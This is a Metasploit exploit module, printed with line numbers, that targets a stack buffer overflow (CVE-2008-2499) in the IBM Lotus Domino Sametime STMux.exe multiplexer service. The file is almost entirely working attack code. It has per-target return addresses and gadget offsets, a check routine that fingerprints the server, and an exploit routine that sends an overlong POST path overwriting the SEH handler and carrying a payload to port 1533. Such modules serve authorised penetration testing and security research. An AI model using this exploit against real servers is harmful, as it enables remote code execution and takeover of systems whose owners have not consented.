1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = AverageRanking
8

9
  include Msf::Exploit::Remote::Tcp
10

11
  def initialize(info = {})
12
    super(
13
      update_info(
14
        info,
15
        'Name'	=> 'IBM Lotus Domino Sametime STMux.exe Stack Buffer Overflow',
16
        'Description'	=> %q{
17
          This module exploits a stack buffer overflow in Lotus Domino\'s Sametime
18
          Server. By sending an overly long POST request to the Multiplexer
19
          STMux.exe service we are able to overwrite SEH. Based on the exploit
20
          by Manuel Santamarina Suarez.
21
        },
22
        'Author'	=> [ 'aushack', 'riaf <riaf[at]mysec.org>' ],
23
        'Arch'	=> [ ARCH_X86 ],
24
        'License'	=> MSF_LICENSE,
25
        'References' => [
26
          [ 'CVE', '2008-2499' ],
27
          [ 'OSVDB', '45610' ],
28
          [ 'BID', '29328' ],
29
          [ 'ZDI', '08-028' ],
30
          [ 'ATT&CK', Mitre::Attack::Technique::T1210_EXPLOITATION_OF_REMOTE_SERVICES]
31
        ],
32
        'Privileged'	=> true,
33
        'DefaultOptions' => {
34
          'EXITFUNC' => 'seh',
35
        },
36
        'Payload' => {
37
          'Space'	=> 1024,
38
          'BadChars'	=> "\x00\x0a\x0d",
39
          'StackAdjustment'	=> -3500,
40
        },
41
        'Platform' => ['win'],
42
        'Targets' => [
43
          # Patrick - Tested OK against Windows 2003 SP1 20081114
44
          [ 'Lotus Sametime 7.5 on Windows Server 2000 SP4', { 'Ret' => 0x7c3410c2, 'Offset' => [ 3, 268 ] }], # pop ecx, pop exc, ret msvcr71.dll
45
          [ 'Lotus Sametime 7.5 on Windows Server 2003 SP1', { 'Ret' => 0x7c3410c2, 'Offset' => [ 3, 269 ] }], # pop ecx, pop exc, ret msvcr71.dll
46
          [ 'Lotus Sametime 7.5 on Windows Server 2003 SP2', { 'Ret' => 0x7c3410c2, 'Offset' => [ 4, 269 ] }],
47
          [ 'Lotus Sametime 7.5.1  Windows Server 2003 SP2', { 'Ret' => 0x7c3410c2, 'Offset' => [ 5, 269 ] }],
48
          [ 'Lotus Sametime 8.0.0  Windows Server 2003 SP2', { 'Ret' => 0x7c3410c2, 'Offset' => [ 4, 269 ] }],
49
        ],
50
        'DisclosureDate' => '2008-05-21',
51
        'DefaultTarget' => 1,
52
        'Notes' => {
53
          'Reliability' => UNKNOWN_RELIABILITY,
54
          'Stability' => UNKNOWN_STABILITY,
55
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
56
        }
57
      )
58
    )
59

60
    register_options(
61
      [
62
        Opt::RPORT(1533),
63
      ]
64
    )
65
  end
66

67
  def check
68
    connect
69

70
    req = "HEAD / HTTP/1.1\r\n"
71
    req << "Host: #{datastore['RHOST']}:#{datastore['RPORT']}\r\n"
72
    req << "User-Agent: Sametime Community Agent\r\n\r\n"
73

74
    sock.put(req)
75
    res = sock.get_once || ''
76

77
    disconnect
78

79
    if (res.to_s =~ /Lotus-Domino/)
80
      connect
81

82
      req = "GET /CommunityCBR HTTP/1.1\r\n"
83
      req << "Host: #{datastore['RHOST']}:#{datastore['RPORT']}\r\n"
84
      req << "User-Agent: Sametime Community Agent\r\n\r\n"
85
      sock.put(req)
86
      res = sock.get_once || ''
87

88
      disconnect
89

90
      if (res.to_s =~ /200 OK/)
91
        return Exploit::CheckCode::Detected
92
      end
93
    end
94

95
    return Exploit::CheckCode::Safe
96
  end
97

98
  def exploit
99
    connect
100

101
    pad1 = rand_text_alpha_lower(44)
102
    pad2 = rand_text_alpha_lower(29)
103

104
    # Patrick - We should use Metasm here.
105
    popebx = Metasm::Shellcode.assemble(Metasm::Ia32.new, "pop ebx").encode_string * target['Offset'][0]
106
    popad = Metasm::Shellcode.assemble(Metasm::Ia32.new, "popad").encode_string * target['Offset'][1]
107
    esp = "\xff\x24\x24" # dword ptr ss:[esp]
108
    jmp = "\x74\x23" + "\x75\x21" # je short, jnz short
109
    seh = [target['Ret']].pack('V')
110

111
    path = pad1 + jmp + seh + pad2 + popebx + popad + esp
112

113
    req = "POST /CommunityCBR/CC.39.#{path}/\r\n"
114
    req << "Host: #{datastore['RHOST']}:#{datastore['RPORT']}\r\n"
115
    req << "User-Agent: Sametime Community Agent\r\n"
116
    req << "Content-Length: #{payload.encoded.length}\r\n"
117
    req << "Connection: Close\r\n"
118
    req << "Cache-Control: no-cache\r\n\r\n"
119
    req << payload.encoded
120

121
    sock.put(req)
122

123
    handler
124
    disconnect
125
  end
126
end
127

128